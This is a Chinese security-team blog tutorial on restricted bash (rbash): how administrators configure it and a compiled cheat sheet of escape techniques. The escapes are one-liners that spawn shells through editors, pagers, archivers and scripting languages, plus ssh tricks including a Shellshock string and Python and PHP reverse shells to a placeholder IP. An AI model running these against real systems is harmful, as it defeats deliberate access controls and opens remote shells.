0x01 前言

在如今网络安全管理越来越规范,安全运维安全管理逐渐重视,在各种系统配置中运维人员都设定了各种限制,在渗透测试中能获得一个未受限制的shell变得非常困难,为了安全管理运维人员通常会给不同用户设定一些特定的命令限制,来限制非必要命令的执行。

0x02 什么是Restricted Bash

Restricted Bash(rbash)又叫做Restricted Shell,顾名思义就是受限制的shell。Linux的shell功能强大,以至于整个Linux系统可以精准的使用shell来控制。在Linux不同用户之间,当你执行的一个系统命令时,它可能是危险的不可逆命令,为不同用户之间设定不同权限进行安全管理引入了限制Bash Shell,防止一些非必要权限用户执行有害系统的高危命令。
再比如一台Linux系统服务器中采用多用户管理,部分用户没有sudo权限,但是这些用户可以查看系统目录中大部分内容,虽然没有权限进行编辑但是不希望这些用户查看这些目录,这时可以通过rbash在不调整系统上每个文件夹权限的情况下通过限制用户输入某些命令来限制用户随意查看。
简单来说rbash与shell的区别就是限制一些行为,让一些命令无法执行。

0x03 rbash中的限制

rbash中的限制如下列所示
  • 使用cd命令
  • 修改$PATH$SHELL$BASH_ENV$ENV的值
  • 执行包含/(斜杠)字符的程序,/usr/bin./
  • 使用>>|<>>&&>>>等重定向输出
  • 使用set + rset + o关闭限制
  • 退出脚本内受限制的模式
rbash的存在是为了提高系统的安全性,但对于渗透者而言rbash限制严重影响了我们在目标机上的信息收集,以及常用的反弹shell。

0x04 为用户启用rbash示例

1.创建测试用户

使用具有sudo特权的用户创建一个新测试用户
sudo useradd -m test -s /bin/rbash ## 创建一个用户名为test,并且设置test登录shell为rbashsudo passwd test## 为test设置密码

2.为新用户建立目录

为test建立bin目录
sudo mkdir /home/test/bin

3.指定用户可以运行的命令

为用户指定可以运行的命令,创建指向新建目录链接。指定用户可以运行mkdirlsping
sudo ln -s /bin/bash /bin/rbash ## 从Bash 创建一个名为rbash的符号链接sudo ln -s /bin/mkdir /home/test/bin sudo ln -s /bin/ls /home/test/binsudo ln -s /bin/ping /home/test/bin

4.限制新用户修改.bash_profile文件

sudo chown root. /home/test/.bash_profilesudo chmod 755 /home/test/.bash_profile

5.修改PATH变量

vi /home/test/.bash_profile PATH=$HOME/bin ## 将PATH变量修改为此

6.测试

切换到test用户下执行相关命令受限

0x05 Linux环境信息收集

在我们遇到rbash的时候,想要绕过rbash在绕过前需要做一些信息收集,通过尝试命令来查看Linux环境可以做哪些事,查看rbash限制了那些行为。通过查看收集rbash限制条件,使用合适的绕过方法进行绕过。
需要检查的内容如下:
  1. 检查有哪些可用的命令,如cdlscpsu
  2. 检查操作符>>><|等是否可用
  3. 检查系统是否有编程语言环境Python、ruby、perl等
  4. 检查root身份可以运行的命令sudo -l
  5. 检查具有SUID权限的文件或命令
  6. 检查当前所用的shell,echo $SHELL
  7. 检查环境变量envprintenv

0x06 rbash绕过方法

1.常见绕过方法

  1. /字符被允许
如果允许使用“/”直接运行 /bin/sh 或 /bin/bash
  1. cp命令被允许
如果cp命令被允许可直接复制 /bin/sh 或 /bin/bash 到本地目录
  1. find命令被允许
find / -name SomeName -exec /bin/bash \;
  1. 能够设置PATH或SHELL时
有权限设置PATH或SHELL时,设置如下export PATH=$PATH:/bin/:/usr/bin:$PATHexport SHELL=/bin/sh
  1. set shell
在一些编辑器中可通过末行执行命令设置shell:set shell=/bin/bash:shell
  1. 切换用户逃逸
在Linux切换用户时通常用到susu -,其中他们的区别是,使用su切换用户不会改变当前的用户环境,例如从test用户su到root用户,当前路径未发生改变,环境变量仍是test用户的。使用su -切换用户时用户环境会发生改变,例如从test用户su -到root用户,路径改变为/root/,环境变量也发生了改变
su - l test## test为切换的用户名su -- testsu --login test
## 在su切换用户逃逸时还可以在切换用户时执行spawn shell命令su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'"test## test为要切换的用户名

2.利用Linux现有软件

  1. 利用ftp
ftp执行 !/bin/sh或 !/bin/bash
  1. 利用gdb
gdb执行 !/bin/sh 或 !/bin/bash
  1. 利用git
执行git helpstatus然后运行!/bin/bash
  1. 利用ed
ed执行!'/bin/sh/'或 !'/bin/bash/'
  1. 利用vi/vim
# 利用在vi/vim中末行模式可以执行命令的特点vim test 编辑test文件在末行执行:!/bin/sh 或 :!/bin/bash
  1. 利用zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"
  1. 利用tar
tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

3.使用编程语言

  1. 利用Python
python -c 'import os; os.system("/bin/bash")'
  1. 利用Perl
perl -e 'exec "/bin/bash";'
  1. 利用Ruby
exec"/bin/bash"
  1. 利用lua
os.execute('/bin/bash').
  1. 利用Perl
perl -e 'exec "/bin/bash";'
  1. 利用awk
awk 'BEGIN {system("/bin/bash")}'
  1. 利用PHP
php -a thenexec("bash -i");

4.使用系统命令反弹shell

  1. 使用python反弹shell绕过
攻击机开启监听nc -lvp PORT目标建立连接python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  1. 使用PHP反弹设shell绕过
攻击机开启监听nc -lvp PORT目标机建立连接php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'

5.利用系统中的二进制文件

  1. 利用more
more test#利用编辑器末行执行命令的特点!'bash'
  1. 利用less
less test.txt #利用编辑器末行执行命令的特点!'bash'
  1. 利用man
!'bash'#利用编辑器末行执行命令的特点

6.利用expect绕过

expectexpect1.1 > spawnbashspawnbash

7.通过ssh绕过

ssh username@IP -t "/bin/bash"ssh username@IP -t "bash --noprofile"ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)
## ssh 登录时同样可以通过spawn shell逃逸ssh username@IP"export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'

0x08总结

笔者在一次渗透靶机的过程中遇到rbash绕过的问题,于是针对于rbash绕过技巧查找相关资料进行学习,通过借鉴前人经验,重新对rbash绕过技巧进行了汇总总结,文章中没有对所有的方法在相关环境下进行一一测试,安全技术是不断进步的,对于rbash的绕过可能还会有更多的有效方法,希望更多的读者能对文章的不足进行进行批评指正,如果有更好的技巧希望更多的人分享。
参考连接:https://it.baiked.com/database/4533.htmlhttps://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们
继续阅读
阅读原文